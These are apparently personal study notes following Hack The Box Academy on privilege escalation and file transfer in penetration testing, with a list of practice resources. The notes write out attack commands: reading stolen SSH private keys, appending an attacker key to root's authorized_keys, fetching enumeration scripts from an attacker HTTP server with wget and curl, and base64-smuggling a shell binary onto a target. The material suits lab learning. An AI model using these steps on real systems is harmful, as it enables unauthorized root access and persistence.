Many of above commands can be automaticlly run with a script to go through the report and look for any potential weaknesses. And we can run many scripts to automaticlly enumerate the server by running common commands that return any interesting findings. Some of the common Linux enumeration scripts include LinEnum and Linuxprivchecker and for Windows include Seatbelt and JAWS.

Another useful tool is Privilege Escalation Awesome Scripts SUITE (PEASS) which can run in both Linux and Windows.

[!NOTE]
These auto scripts will run many commands and create many "noise" that may trigger the alarm of anti-virus software. Therefore, we need to do a manual enumeration instead of running scripts in some instance.

Here is an example of running the Linux script from PEASS or LinPEAS:

[!NOTE]
.sh file is a format of script file, and the below ways are same


./xxx.sh
/home/xxx.sh
./home/xxx.sh
sh /home.sh***

chaostudy@htb[/htb]$ ./linpeas.sh
...SNIP...

Linux Privesc Checklist: https://book.hacktricks.xyz/linux-unix/linux-privilege-escalation-checklist
 LEYEND:
  RED/YELLOW: 99% a PE vector
  RED: You must take a look at it
  LightCyan: Users with console
  Blue: Users without console & mounted devs
  Green: Common things (users, groups, SUID/SGID, mounts, .sh scripts, cronjobs)
  LightMangenta: Your username

====================================( Basic information )=====================================
OS: Linux version 3.9.0-73-generic
User & Groups: uid=33(www-data) gid=33(www-data) groups=33(www-data)
...SNIP...

As we can see, one the script runs, it starts collecting information and displaying it in an excellent report.

Kernel Exploits

This vulnerability is very common when we encouter an old operating system. These hosts may be out of date and is not being maintained with the latest updates and patches. So we should start by looking for petential kernel vulnerablities that may exist.

For exmaple, we can see the operation system is Linux version 3.0.0-73-generic in the above running script. Then we can google exploits for this vertion or use searchsploit. The result is CVE-2016-5195, otherwise known as DirtyCow. Finally, we can search for and download the DirtyCow exploit and run it on the target machine to gain root access.

The same concept also can be implement in Windows, as there are many vulnerabilities in unpatched or older version Windows system.

[!NOTE]
It is very important that kernel exploits can cause system instability. Therefore, we should keep in mind that take great care before running them on production environment. Also, we need explicit approval and coordination with the client.

Vulnerable Software

dpkg a: software management program in Linux
dpke -l: list all installed software and its status

Generally, another thing we also should look for is installed software. We use dpkg -l command in Linux and look at C:\Program Files in Windows to find out what software is installed. Next, we can look for exploits for these software.

User Privileges

After gaining access to a server, the user we have access may be allowed to run specific commands as root. Then, we may be able to escalate our privileges to root. For instance, if a user we have access has the privileges:

  • Sudo
  • SUID
  • Windoes Token Privileges

The sudo command in Linux allow a lower privilege user to execute commands as a root without access as a root user. We can check what sudo privileges we have with the command:
sudo -l

The below example shows user1 have all sudo privileges

chaostudy@htb[/htb]$ sudo -l

[sudo] password for user1:
...SNIP...

User user1 may run the following commands on ExampleServer:
    (ALL : ALL) ALL

Then we also can use sudo su or sudo su - to switch to root user

chaostudy@htb[/htb]$ sudo su -

[sudo] password for user1:
whoami
root

However, the root password is required for switching. In some cases where we may be allowed to execute certain applications. In the below instance, we can only run /bin/echo without password.

chaostudy@htb[/htb]$ sudo -l

    (user : user) NOPASSWD: /bin/echo

Then, we can run /bin/echo as user,

chaostudy@htb[/htb]$ sudo -u user /bin/echo Hello World!

    Hello World!

If we can run application with sudo, we can look for petential exploits to get a shell as the root user. GTFOBins contains a list of commands and how they can be exploited through sudo. While, LOLBAS also contain a list of Windows application which we can leverage to perform certain actions like downloading files or excuting commands.

Scheduled Tasks

In Windows and Linux, there is a function that allow us to execute schedule tasks. For instance, running a anti-virus scanning every hour or backup script in every 20 minutes. There are two ways we can take advantage of schedule tasks (Windows) or cron tasks (Linux) to escalate our privileges:

  • Add new scheduled tasks /cron tasks
  • Trick them to execute a malicious software

Here is an example: if we have write permission in these specific directories, we can add new cron jobs like write a bash script with a reverse shell command.

/etc/crontab
/etc/cron.d
/var/spool/cron/crontabs/root

Exposed Credentials

It is very comman that configuration files, log files, and user history files(bash_history in Linux and PSReadLine in Windows) may contain potential passwords and provide to us:

...SNIP...
[+] Searching passwords in config PHP files
[+] Finding passwords inside logs (limit 70)
...SNIP...
/var/www/html/config.php: $conn = new mysqli(localhost, 'db_user', 'password123');

In this example, the database password is "password123" which allow us to log into mysql databases. It is nessary to check password reuse situation in this system:

chaostudy@htb[/htb]$ su -

Password: password123
whoami

root

SSH Keys

If we access to .ssh directory for a specific user, we may read their private ssh keys found in /home/user/.ssh/id_rsa or /root/.ssh/id_rsa, and use it to log in to the server.
For instance, we can copy the content from id_rsa file, and then paste to our own machine, finally use the -i to log in.

ssh -i: point to a keyfile

chomod 600: set the permission for the specific file to read and edit only by file owner

chaostudy@htb[/htb]$ vim id_rsa
chaostudy@htb[/htb]$ chmod 600 id_rsa
chaostudy@htb[/htb]$ ssh user@10.10.10.10 -i id_rsa

root@remotehost#

[!NOTE]
If the ssh keys have lax permissions, such as read by other people, the ssh server would prevent them from working.

If we have write permission to /.ssh/ directory, we can place our public key in the user's ssh directory at /home/user/.ssh/authorized_keys. This technique allow use to gain ssh access.

Here is the example, we must first create a new key with ssh-keygen and -f to specify the output file

chaostudy@htb[/htb]$ ssh-keygen -f key

Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase): *******
Enter same passphrase again: *******

Your identification has been saved in key
Your public key has been saved in key.pub
The key fingerprint is:
SHA256:...SNIP... user@parrot
The key's randomart image is:
+---[RSA 3072]----+
|   ..o.++.+      |
...SNIP...
|     . ..oo+.    |
+----[SHA256]-----+

After execution, we have two files: key (private key file) and key.pub (public key file). So, we need copy the content of public key file to remote machine and add it into /root/.ssh/authorized_keys:

user@remotehost$ echo "ssh-rsa AAAAB...SNIP...M= user@parrot" >> /root/.ssh/authorized_keys

Then, the remote server should allow us to log in as that user by our private key

chaostudy@htb[/htb]$ ssh root@10.10.10.10 -i key

root@remotehost# 

The lab practise is interesting which use user1 to SSH log in and then get no password permission to log user2. Then user2 has higher permission to view root private key file. Finally, get the root SSH log in.

Transferring Files

During penetration testing, we need to transfer files to the remote host, such as enumeration scripts or exploits, or transfer data back to our attacking host. Therefore, we need to learn these tools like Metasploit to transfer files with standard bind shell or reverse shell.

Using wget

There are several methods to accomplish this. One method is running a Python HTTP server on our machine and then using wget or cURL on remote host to download file.

  • Firstly, we go into the directory that contains the file we want to transfer and set up a simple HTTP server:
[!bash!]$ cd /tmp
[!bash!]$ python3 -m http.server 8000

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
 ```

- Now, the remote host can download file from this server (port is 8000, IP is our server)

user@remotehost$ wget http://10.10.14.1:8000/linenum.sh

...SNIP...
Saving to: 'linenum.sh'

linenum.sh 100%[==============================================>] 144.86K --.-KB/s in 0.02s

2021-02-08 18:09:19 (8.16 MB/s) - 'linenum.sh' saved [14337/14337]

If the remote server does not have ***wget***, we can use ***cURL*** to do the same job:

***-o***: specify the output file name

```bash
user@remotehost$ curl http://10.10.14.1:8000/linenum.sh -o linenum.sh

100  144k  100  144k    0     0  176k      0 --:--:-- --:--:-- --:--:-- 176k
Note that we used the -o flag to specify the output file name.

Using SCP

Another method is scp if we have obtained ssh user credentials on the remote host already.

The name after scp is file name in the server, must match. And the path/name after : is output path / name

[!bash!]$ scp linenum.sh user@remotehost:/tmp/linenum.sh

user@remotehost's password: *********
linenum.sh

Using Base64

In some cases, transfer files may be provented by firewall protection or something else. In this type of situation, we can use a simple trick to base64 encode the file into base64 format, and then paste the base64 string on the remote host and decode it.

Here is an example that encoder a file named shell into base64 format

[!bash!]$ base64 shell -w 0

f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAA...  ...lIuy9iaW4vc2gAU0iJ51JXSInmDwU

Then, copy this Base64 string and use base64 -d to decode it on the remote host, then pipe the output into a file:

user@remotehost$ echo f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAA...  ...lIuy9iaW4vc2gAU0iJ51JXSInmDwU | base64 -d > shell

Validating File Transfers

To validate the format of a file, we can run file command on it:

user@remotehost$ file shell
shell: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header

It says that the program is an ELF binary, meaning that we successfully transferred it. To ensure we did not mess up the file during the encode/decode process, we can use md5sum to check on it:

[!bash!]$ md5sum shell

321de1d7e7c3735838890a72c9ae7d1d shell
user@remotehost$ md5sum shell

321de1d7e7c3735838890a72c9ae7d1d shell

Starting Out

HTB Academy follows a guided and exploratory learning to help us to deepen our understanding of the skills we learned.

Resources

Apart from HTB platform, there are a mount of content available on the website can be overwhelming. Here are some good resource that HTB recommend to anyone starting their journey and to enhance their skillset.

Vulnerable Machines/Applications

There are many resources available to practice common web and network vulnerabilities in a safe, controlled setting.

OWASP Juice Shop It is a modern vulnerably application which showcases the entire OWASP Top Ten along with many other real-world application flows
Metasploitable 2 It is a vulnerable Ubuntu Linux VM platform that can be used to practice penetration
Metasploitable 3 It is a vulnerable Windows VM platform that can be used to practice penetration
DVWA This is a vulnerable PHP/MySQL web application showcasing many common web application vulnerabilities

So, it is worth to set up VMs and machines in a lab environment to learn and practice configuration, enumeration, remediation.

YouTube Channels

There are many YouTube channels out there that worth bookmarking:

IppSec Provides an extremyly in-depth walkthrough of every retired HTB box packed and techniques
VbScrub Provide HTB videos as well as on techniques, primarily focusing on Active Directory exploitation
STÖK Provides videos on infose related topics, mainly focusing on bug bounties and web application penetration testing
LiveOverflow Provide videos on a variety of technical infose topics

Blogs

Thre are many great blogs for us to get another perspective on the same topic of any HTB box. One worth to follow is 0xdf hacks stuff which has "beyond root" section covering some unique aspect of the box that other author may not notices.

Tutorial Websites

There are many tutorial websites for practicing fundamental IT skills, such as scripting. Two great tutorial websites are Under The Wire and Over The Wire. These two websites help train users on both Windoes PowerShell and Linux Bash scripting.

HTB Starting Point

Staring Point is an introduction to HTB labs and basic machines.

HTB Tracks

Tracks is a selections of machines and challenges tied together for users to practics a particular subject

Beginner Friendly HTB Machines

There are also many beginner-friendly machines on the main HTB platform

Lame
Blue
Nibbles
Shocker
Jerry

Beginner Friendly HTB challenges

The HTB platform contains one-off challenges in a variety of categories.

Find The Easy Pass Weak RSA
You know 0xDiablos

Dante Prolab

Dante Pro Lab has various ProLabs that simulated enterprice networks with many interconnected hosts that player can use to practice their skills in a network containing multiple targets.

Navigating HTB

Hack The box provides a wealth of information for anyone getting started in penetration testing.

Profile

Profile shows HTB statistics, including ranks, progress, etc.

Ranking

It shows current rankings of users, teams, universities, etc.

Tracks

Tracks is a selection of machines and challenges tied together for users to progress through mastering a particular subject.

Machines

Active Machines are the ones that give you points for your ranking, one new machine is added weekly, and one active machine gets retired.

Retired Machines are all machines previously featured as a weekly active machine. They are only accessible with a VIP subscription.

Challenges

Similar to the machine, there are Active and Retire challenges sorted into ten different categories, each of which has a maximum of 10 challenges.

Fortress

Fortress are vulnerable labs created by HackTheBox, each lab has several flags that can be found and submitted to the page. You need to HTB rank Hacker and above to play fortresses.

Endgame

Endgames are virtual labs that contain several machines connected to a single network, which reflect a real-world situation in an actual company. You need to be of HTB rank Guru and above to play Active Endgame.

Pro Labs

Pro labs are the ultimate lab experience, which are designed to simulate a real-world enterprice infrastructure.

Lab Scenario
Dante Beginner-friendly to learn common pentesting techniques and methodologies, common pentesting tools, and common vulnerabilities.
Offshore Active Directory lab that simulates a real-world corporate network.
Cybernetics Simulates a fully-upgraded and up-to-date Active Directory network environment, which is hardened against attacks. It is aimed at experienced penetration testers and Red Teamers.
RastaLabs Red Team simulation environment, featuring a combination of attacking misconfigurations and simulated users.
APTLabs This lab simulates a targeted attack by an external threat agent against an MSP (Managed Service Provider) and is the most advanced Pro Lab offered at this time.

Battlegrounds

This is a real-time game of strategy and hacking. You can play in a team of 4 or a team of 2. The battles are based on the attack/defense style.


Chao

一个三天打鱼两天晒网的博主 拖延症严重患者 干啥啥不行,学啥啥不会